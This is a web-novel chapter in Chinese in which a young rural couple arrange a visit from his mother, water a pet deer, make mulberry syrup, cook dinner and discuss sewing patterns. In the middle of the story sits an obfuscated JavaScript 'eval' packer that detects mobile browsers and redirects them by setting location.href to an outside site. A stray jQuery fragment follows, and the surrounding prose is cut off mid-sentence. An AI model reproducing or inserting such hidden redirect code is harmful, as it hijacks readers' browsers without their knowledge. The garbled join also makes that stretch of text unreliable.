59. 第 59 章

作品:《耕园记

    到屋里,樊云英才道:“我寻思入夏了,给你俩做了两身衣裳,还想着明儿一早去草市桥赶圩顺便送过去呢,你们就来了。”


    谷敬端了茶水进来,樊云英给他们倒水,“来也不赶早不赶晚的,这样大日头,中暑了可怎么好。”


    原耕耘也不拐弯抹角,“家里有些事忙,想接娘回去住几日。”


    向园刚接过杯子刚喝一口,就被原耕耘这直白的话惊得咳起来。


    樊云英眼睛一亮,这还不到一个月,就要接她过去忙,这是……


    她不由看向向园,目露惊讶。


    谷敬也有些诧异,赶忙出去换茶水,有了身子,喝红糖水肯定没错。


    向园还在咳嗽,没注意到他们的眼神。


    原耕耘注意到了,知道他们想歪了。


    他一边给向园顺背,一边解释道:“是我接了个活计,接下来有段日子都要进山去,可能要三不五时的在山上过夜,向园一个人在家太孤单,要是娘腾得开手的话,我想请娘过去陪她几天。”


    这样啊!虽然惊喜没了,樊云英倒也没太失望,她和谷敬正值盛年,成婚半年多也没个喜信儿,更何况俩成亲还不满一个月的孩子呢。


    至于儿子央的这个事儿,更加没问题了。谷敬这几日就要出门一趟,她们娘儿俩一起,正好做伴儿。


    不过樊云英也没直接就跟他们回去。


    上午定下契约,原耕耘就顺便请陆阿公看了个日子,定下初十开工,谷敬是十一这日出门。等初九或是初十,他出门前,再送樊云英过去。


    原耕耘和向园回到家,时间已经不早。


    他们买了框锯,斧头和麻绳,大坛小罐等杂七杂八的,原耕耘卸下来,就去村里还骡车。


    还有上午出面的几位长辈,也得过去打个照面。原本参与这种事儿,该留人吃饭的,但是大家看他们俩年轻,他们这么些人,怕家里没人帮着操持帮衬,都不愿留饭。


    鹿被困了一天,看着蔫头耷脑的,向园开了大门走过去,它正可有可无地啃那一筐草,晌午灌满的一槽水,它也没喝多少,向园摸了摸,被日头晒得温嘟嘟的,怪不得它不愿喝。


    “走吧,乖乖的哦,带你出去放放风。”向园牵住麻绳,召唤一二三跟上,一人一鹿三狗往水塘上边一点的溪边去。


    水塘里的水也算清澈,不过近来常被大鸭大鹅大狗扑腾,就比山溪差一点,反正有工夫,也就是多走两步路的事儿。


    梅花鹿还算听话,也不探着头吃青草,也不撑着绳子乱跑,乖乖跟在向园身后。


    看来是真的渴了,刚到溪流边,向园放松一点绳子,小鹿就奔过去,伸着头,嘴巴探进水里,舌头卷了半天,才意犹未尽地抬起头来,大眼睛看着都湿润不少。


    向园想着这下应该喝饱了,就拉着它往出走,梅花鹿这回可不那么乖了,绷直脑袋挣扎着,下游嬉水的一二三都警觉起来,汪汪叫了几声示威,大黑干脆奔过来,作势要咬,梅花鹿还挺委屈,可怜巴巴地看一眼,又埋头喝水。


    向园也不着急,等它喝饱喝足了,才牵到桑林里。


    早上他们刚摘过的三棵桑树,有一棵离别的树比较远,有许多叶子垂下,向园对着比了比,觉得最低处的枝叶鹿能够到,就把小鹿拴到桑树上,让大黑和三花看着,她带着二黄回去鼓捣桑葚。


    时间够久,大青石也够沉,他们二人回来的时候,向园就去大缸边儿上看过。


    桑葚汁已经滤得差不多了,笸箩虽还在往下滴水,但间隔时间比较长,算是压得比较彻底了。


    她用大水瓢舀桑葚汁往锅里倒。


    一筐再加一篮桑葚也只挤压过滤出来大半缸汁水,倒进锅里,是满满一锅。这么多汁,向园估摸能熬出两三罐膏来。


    原耕耘在村里串完回来,桑葚汁都煮起来了,还没煮沸,煮沸前要用中火,煮沸后就得小火了,这么长时间,向园就在后锅蒸饭,小炉子上炒菜。


    原耕耘插空去割油菜籽。


    油菜籽都熟了,不是很干,很多人家都打算再等两天,太阳再晒晒,割下来直接摊到打谷场上,不用守多久就能打粒。


    原耕耘想着两块地,初十入山之前打完,这样向园和樊云英在家里就不用再操心这个。


    这院子没有晒场,原耕耘早两年把最后一楹琴房前头的地碾平了,收谷子小麦的时候就在这儿晒。


    菜籽也都堆在这里。


    不然弄到那边二楼露台也可以,只是还要背来背去,有些费事,不如一气在这边割完晒干脱粒来得方便。


    向园用桑葚汁熬膏,剩下的果渣也不能浪费,摊开在笸箩上,等风干了磨成粉,不论是加到面粉里蒸馒头还是冲水喝,或者用来包汤圆,都是好料。


    主要是还有药性,滋阴补血,生津润燥,吃一些对身体好。


    都忙了一天,向园晚饭就做得扎实。蒸米饭,配莲藕猪骨汤,还有一个炒猪肚,一个炒青菜。


    猪骨是在草市桥买的,他们经过得晚些,肉铺里没多少好肉了,向园就挑了几块大骨头,又挑了个肚子,拿来爆炒。


    原耕耘头一回这样吃,以前肚子都拿来炖汤了,味道一言难尽,所以他不爱吃猪肚,猪肺。


    这样炒着,很脆生,又很有嚼劲,他挺喜欢,就着吃了两大碗米饭。


    他吃得高兴,向园也觉得有成就感,“等青椒结果了,我再给你炒,这个配青椒炒最好吃。”


    原耕耘期待起来。


    吃过饭,向园看看锅,文武膏熬得差不多了,她退了火,就这样浸一夜,等明天膏凉了再装罐。


    简单冲洗过,原耕耘打了水两人泡脚。


    踩进微烫的水盆里,向园才想起来背袋,“耕耘哥哥,在针线筐里,你拿来,我给你瞧。”


    脚沾了水,她不想踩湿鞋子,就指使原耕耘。


    原耕耘正提着热水进来,他们泡脚都爱边泡边添水,多泡一会儿,解乏。


    他放下水桶,去拿针线筐子,就在床尾,一伸手就能够到。


    上层的小笸箩掀开,映入眼帘的就是一只大老虎,瞧着又萌又凶的。


    原耕耘摩挲了下,拿出背袋,这才看出完整面目,“你怎么想出来做成这个模样的?”


    虎头前后兜上都有,挂在肩上,跟褡裢有些像,却明显比褡裢实用。


    凡事都有定例,很多人都会在原有的基础上模仿,即便超越也很难脱开窠臼,向园很有巧思。


    “你看那些背袋要么能装不好背,要么好背不能装,褡裢也是,我每回瞧见人家那样背,口大咧咧敞着,都会想,难道就不怕东西丢了。而且扁平扁平的,随便装个什么,人家就能瞧出来。这样是不是就好得多?”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593033|176663||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    向园说着,招手道:“耕耘哥哥,快来,水正好。”


    “嗯。”原耕耘坐下,也没舍得把背袋取下来,就那样背着,看着跟挂手巾的店小二似的。


    他把向园的脚提到膝上捏起来,看着更像了。


    “耕耘哥哥,你真的不要我给你也捏吗?”


    向园如今习惯被他这样伺候,不会觉得不自在,但还是会问一问。


    原耕耘不需要,手上下劲,捏得向园摊在床上,出了一身汗。


    “花样子呢,也给我看看,别等夏天都过去了,你的裙子还没裁出来。”


    向园差点就忘了。


    “我可以等到秋天再穿。”她道。


    反正秋天也很热。


    “明年再穿也行。”


    反正她还要长个儿,明年做还省事了,还能省料子。


    而且娘已经给她做了两套衣裳了,她就是不做,这个夏天也有得穿。


    衣裳原耕耘见过,他也有两套。樊云英的手艺自然是好的,眼光也很高,两套衣裙很好地妆点了她的容颜。


    但既然她有中意的花样,还是得做两套。今年不穿,明年不穿,等七老八十再穿吗?那时候再穿也不是不行,可当下喜欢的当然当下就要穿。


    向园被他捏得一身疲乏顿消,却又懒得动弹,蛄蛹着身子挪到床边,也不起来,贴在床上侧着身子掏。


    原耕耘被她这懒样子逗笑,把她左脚放下,换另一只脚。


    东西放的有层次,向园还没摸着,原耕耘自己就瞧见了,他抖抖她的腿叫她坐直,擦干手自己拿那图纸。


    纸上并不如他所想,是花啊草啊的纹样图案,她说的花样子,是指裁剪样式?


    原耕耘看了看,觉得没有一个她穿着不好看的。


    袖子都是窄袖,大概是为了方便干活。围腰都没有,不知道是没画还是她不喜欢穿。


    他提出建议,“这个衫子可以做成大袖。”


    向园懒洋洋探头瞧,原耕耘倾着纸给她瞧。


    “好!”向园也觉得做成大袖好看,“我再做个襻膊。”


    “这个腰身这里放一放,裁短一些,可以做寝衣,用那个蓝绉纱做,凉快。”


    原耕耘的体温确如他自己所言,冬暖夏凉,冬暖向园还没体会过,夏凉是真的。


    她就不一样,无论冬夏,她都跟个小火炉一样,这几天见天都往原耕耘身上贴。


    “好。”向园点头,“那还可以给你做个背心短裤。”


    背心做的小一点,短裤做得短一点,穿着衣裳贴贴,凉快还安全。


    她心里这小算盘打得啪嗒啪嗒一阵响,原耕耘隔着肚皮都听见了。


    他冲凉之后都是光着膀子睡的,裤子看情形,当不穿则不穿。向园这是贪他的整体凉意,还嫌弃他局部灼热。


    “我不需要寝衣,你再多给自己做一件纱裙,有个替换的。”


    不穿寝衣啊!也行,背心可以不做,只做一条短裤,还省料子了。


    向园眼珠子骨碌碌转两圈,又躺倒了。反正今天也做不出,明天再想吧。


    原耕耘手上动作不停,心思早已飞到天外。


    论打算盘,他一点也不输向园。


    不是怕热吗?


    那就别穿了。


    一会儿再冲一遍凉,不怕她不贴上来。